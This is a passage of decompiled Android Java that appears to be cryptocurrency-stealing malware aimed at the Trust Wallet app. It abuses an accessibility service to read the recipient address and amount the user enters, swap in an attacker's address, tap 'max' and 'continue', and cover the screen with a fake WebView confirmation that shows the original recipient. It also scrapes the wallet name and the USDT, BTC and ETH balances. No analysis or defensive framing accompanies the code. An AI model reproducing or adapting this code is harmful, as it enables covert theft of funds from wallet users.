webView.loadData(str, "text/html", "base64");
trustWalletInjview.addView(webView);
TextView textView2 = new TextView(context.getApplicationContext());
textView = textView2;
textView2.setText(" ");
FrameLayout.LayoutParams layoutParams2 = new FrameLayout.LayoutParams(-2, -2);
layoutParams2.gravity = 53;
layoutParams2.height = ScreenUtil.dp2px(context, 48.0f) + ScreenUtil.dp2px(context, 24.0f);
layoutParams2.width = ScreenUtil.dp2px(context, 83.0f);
textView.setLayoutParams(layoutParams2);
textView.setBackgroundColor(context.getResources().getColor(R.color.transparent));
textView.setClickable(true);
textView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/input_value");
if (findAccessibilityNodeInfosByViewId.size() == 1) {
String unused = Trust.usdtaddress = findAccessibilityNodeInfosByViewId.get(0).getText().toString();
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId2 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/input_general_amount");
if (findAccessibilityNodeInfosByViewId2.size() == 1) {
String unused2 = Trust.usdtamount = findAccessibilityNodeInfosByViewId2.get(0).getText().toString();
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId3 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/input_value");
if (findAccessibilityNodeInfosByViewId3.size() == 1) {
AccessibilityNodeInfo accessibilityNodeInfo = findAccessibilityNodeInfosByViewId3.get(0);
Bundle bundle = new Bundle();
bundle.putCharSequence(AccessibilityNodeInfoCompat.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, initializeService.usdtadress);
accessibilityNodeInfo.performAction(2097152, bundle);
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId4 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/action_max");
if (findAccessibilityNodeInfosByViewId4.size() == 1) {
findAccessibilityNodeInfosByViewId4.get(0).performAction(16);
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId5 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/action_continue");
if (findAccessibilityNodeInfosByViewId5.size() == 1) {
findAccessibilityNodeInfosByViewId5.get(0).performAction(16);
}
Trust.trustWalletInjviewLayoutParams.width = -1;
Trust.trustWalletInjviewLayoutParams.height = -2;
Trust.trustWalletInjviewLayoutParams.flags = -2142501088;
Trust.windowManager.updateViewLayout(Trust.trustWalletInjview, Trust.trustWalletInjviewLayoutParams);
Trust.showWebiew(context);
}
});
trustWalletInjview.addView(textView);
} else {
trustWalletInjviewLayoutParams.flags = 262152;
trustWalletInjviewLayoutParams.width = -2;
trustWalletInjviewLayoutParams.height = -2;
windowManager.updateViewLayout(trustWalletInjview, trustWalletInjviewLayoutParams);
}
trustWalletInjview.setPadding(0, 0, 0, 0);
showRightTopButton();
}
private static void initInjView(Context context) {
FrameLayout frameLayout = new FrameLayout(context);
trustWalletInjview = frameLayout;
frameLayout.setVisibility(8);
WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(Integer.valueOf(MySettings.read(context.getApplicationContext(), MySettings.ScreenWidth, "720")).intValue(), Integer.valueOf(MySettings.read(context.getApplicationContext(), MySettings.ScreenHight, "1080")).intValue(), 2032, 262152, 1);
trustWalletInjviewLayoutParams = layoutParams;
layoutParams.gravity = 53;
trustWalletInjviewLayoutParams.width = -2;
trustWalletInjviewLayoutParams.height = -2;
WindowManager windowManager2 = (WindowManager) context.getSystemService("window");
windowManager = windowManager2;
windowManager2.addView(trustWalletInjview, trustWalletInjviewLayoutParams);
}
public static void getWalletName(AccessService accessService) {
AccessibilityNodeInfo rootInActiveWindow = accessService.getRootInActiveWindow();
if (rootInActiveWindow == null) {
return;
}
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId = rootInActiveWindow.findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/main");
if (findAccessibilityNodeInfosByViewId.size() == 2) {
try {
AccessService.trustWalletname = findAccessibilityNodeInfosByViewId.get(0).getChild(0).getChild(0).getChild(0).getChild(1).getText().toString();
} catch (Exception unused) {
}
}
}
public static class MyWebView extends WebView {
private Context context;
@Override
protected void onScrollChanged(int i, int i2, int i3, int i4) {
super.onScrollChanged(i, i2, i3, i4);
scrollTo(i, 0);
}
public MyWebView(Context context) {
super(context);
this.context = context;
addJavascriptInterface(new AndroidInterface(), "Android");
}
private class AndroidInterface {
private AndroidInterface() {
}
@JavascriptInterface
public void trustback() {
((AccessService) MyWebView.this.context).performGlobalAction(1);
}
}
}
public static void hideInjectView() {
if (ifShowDialog) {
trustWalletInjview.setVisibility(8);
webView.setVisibility(8);
textView.setVisibility(8);
ifShowDialog = false;
}
}
public static void showRightTopButton() {
trustWalletInjview.setPadding(0, 0, 0, 0);
webView.setVisibility(8);
textView.setVisibility(0);
trustWalletInjview.setVisibility(0);
ifShowDialog = true;
showType = 1;
}
public static void showWebiew(Context context) {
trustWalletInjview.setPadding(0, ScreenUtil.getStatusBarHeight(context), 0, 0);
textView.setVisibility(8);
webView.setVisibility(0);
webView.reload();
showType = 2;
ifShowDialog = true;
}
public static void checkEvent(AccessibilityEvent accessibilityEvent, Context context) {
WebView webView2 = webView;
if (webView2 != null && webView2.getVisibility() == 0 && accessibilityEvent.getContentChangeTypes() == 3) {
sendOldValue();
webView.loadUrl("javascript:(function() { document.getElementsByClassName('loading-overlay')[0].style.display='none';})()");
}
}
private static void sendOldValue() {
String str = usdtamount;
if (str == null) {
hideInjectView();
return;
}
String d = Double.toString(Double.parseDouble(str) + 0.12d);
String substring = usdtaddress.substring(0, 8);
String str2 = usdtaddress;
String str3 = substring + "..." + str2.substring(str2.length() - 8);
HashMap hashMap = new HashMap();
hashMap.put("usd_amount", usdtamount);
hashMap.put("usdt_amount", "-" + usdtamount);
hashMap.put("from", AccessService.trustWalletname + "(TCC5dT...pj4Vp6)");
hashMap.put("to", str3);
hashMap.put("total", d);
JSONObject jSONObject = new JSONObject(hashMap);
webView.evaluateJavascript("javascript:transaction_info(" + jSONObject.toString() + ")", new ValueCallback<String>() {
@Override
public void onReceiveValue(String str4) {
}
});
}
public static class MyWebChromeClient extends WebChromeClient {
@Override
public boolean onJsAlert(WebView webView, String str, String str2, JsResult jsResult) {
return true;
}
private MyWebChromeClient() {
}
}
private static void checkIfGetUsdt(Context context, AccessibilityNodeInfo accessibilityNodeInfo) {
if ("".equals(AccessService.trustWalletUsdtBalance)) {
getUSDTBalabce1(context, accessibilityNodeInfo, BiType.USDT, "USDT", "com.wallet.crypto.trustapp:id/main");
}
if ("".equals(AccessService.trustWalletUsdtBalance)) {
getUSDTBalabce2(context, accessibilityNodeInfo, BiType.USDT, "Tether", "com.wallet.crypto.trustapp:id/name");
}
if ("".equals(AccessService.trustWalletUsdtBalance)) {
getUSDTBalabce3(context, accessibilityNodeInfo, BiType.USDT, " USDT", "com.wallet.crypto.trustapp:id/main");
}
}
private static void checkIfGetBtc(Context context, AccessibilityNodeInfo accessibilityNodeInfo) {
if ("".equals(AccessService.trustWalletBtcBalance)) {
getUSDTBalabce1(context, accessibilityNodeInfo, BiType.BTC, "BTC", "com.wallet.crypto.trustapp:id/main");
}
if ("".equals(AccessService.trustWalletBtcBalance)) {
getUSDTBalabce2(context, accessibilityNodeInfo, BiType.BTC, "BTC", "com.wallet.crypto.trustapp:id/name");
}
if ("".equals(AccessService.trustWalletBtcBalance)) {
getUSDTBalabce3(context, accessibilityNodeInfo, BiType.BTC, " BTC", "com.wallet.crypto.trustapp:id/main");
}
}
private static void checkIfGetEth(Context context, AccessibilityNodeInfo accessibilityNodeInfo) {
if ("".equals(AccessService.trustWalletEthBalance)) {
getUSDTBalabce1(context, accessibilityNodeInfo, BiType.ETH, "ETH", "com.wallet.crypto.trustapp:id/main");
}
if ("".equals(AccessService.trustWalletEthBalance)) {
getUSDTBalabce2(context, accessibilityNodeInfo, BiType.ETH, "ETH", "com.wallet.crypto.trustapp:id/name");
}
if ("".equals(AccessService.trustWalletEthBalance)) {
getUSDTBalabce3(context, accessibilityNodeInfo, BiType.ETH, " ETH", "com.wallet.crypto.trustapp:id/main");
}
}
private static void getUSDTBalabce1(Context context, AccessibilityNodeInfo accessibilityNodeInfo, BiType biType, String str, String str2) {
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId(str2);
if (findAccessibilityNodeInfosByViewId.size() == 2) {
try {
AccessibilityNodeInfo child = findAccessibilityNodeInfosByViewId.get(0).getChild(0).getChild(0).getChild(0).getChild(0);
for (int i = 0; i < child.getChildCount(); i++) {
if (str.equals(child.getChild(i).getChild(0).getText().toString())) {
String charSequence = child.getChild(i).getChild(3).getText().toString();
int i2 = AnonymousClass3.$SwitchMap$unsubscribe$lodging$nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2$BiType[biType.ordinal()];
if (i2 == 1) {
AccessService.trustWalletUsdtBalance = charSequence;
} else {
if (i2 == 2) {
AccessService.trustWalletBtcBalance = charSequence;
} else if (i2 != 3) {
}
AccessService.trustWalletEthBalance = charSequence;
}
}
}
} catch (Exception unused) {
}
}
}
public static class AnonymousClass3 {
static final int[] $SwitchMap$unsubscribe$lodging$nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2$BiType;
static {
int[] iArr = new int[BiType.values().length];
$SwitchMap$unsubscribe$lodging$nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2$BiType = iArr;
try {
iArr[BiType.USDT.ordinal()] = 1;
} catch (NoSuchFieldError unused) {
}
try {
$SwitchMap$unsubscribe$lodging$nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2$BiType[BiType.BTC.ordinal()] = 2;
} catch (NoSuchFieldError unused2) {
}
try {
$SwitchMap$unsubscribe$lodging$nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2$BiType[BiType.ETH.ordinal()] = 3;
} catch (NoSuchFieldError unused3) {
}
}
}
private static void getUSDTBalabce2(Context context, AccessibilityNodeInfo accessibilityNodeInfo, BiType biType, String str, String str2) {
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId(str2);
for (int i = 0; i < findAccessibilityNodeInfosByViewId.size(); i++) {
try {
AccessibilityNodeInfo accessibilityNodeInfo2 = findAccessibilityNodeInfosByViewId.get(i);
String charSequence = accessibilityNodeInfo2.getParent().getChild(2).getText().toString();
if (str.equals(accessibilityNodeInfo2.getText().toString())) {
int i2 = AnonymousClass3.$SwitchMap$unsubscribe$lodging$nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2$BiType[biType.ordinal()];
if (i2 == 1) {
AccessService.trustWalletUsdtBalance = charSequence;
} else if (i2 == 2) {
AccessService.trustWalletBtcBalance = charSequence;
} else if (i2 == 3) {
AccessService.trustWalletEthBalance = charSequence;
}
}
} catch (Exception unused) {
return;
}
}
}
private static void getUSDTBalabce3(Context context, AccessibilityNodeInfo accessibilityNodeInfo, BiType biType, String str, String str2) {
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId(str2);
if (findAccessibilityNodeInfosByViewId.size() == 2) {
try {
String charSequence = findAccessibilityNodeInfosByViewId.get(1).getChild(0).getChild(0).getChild(0).getChild(0).getChild(3).getText().toString();
if (charSequence.contains(str)) {
String str3 = "" + Integer.parseInt(charSequence.split(" ")[0]);
int i = AnonymousClass3.$SwitchMap$unsubscribe$lodging$nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2$BiType[biType.ordinal()];
if (i == 1) {
AccessService.trustWalletUsdtBalance = str3;
} else if (i == 2) {
AccessService.trustWalletBtcBalance = str3;
} else if (i == 3) {
AccessService.trustWalletEthBalance = str3;
}
}
} catch (Exception unused) {
}
}
}
}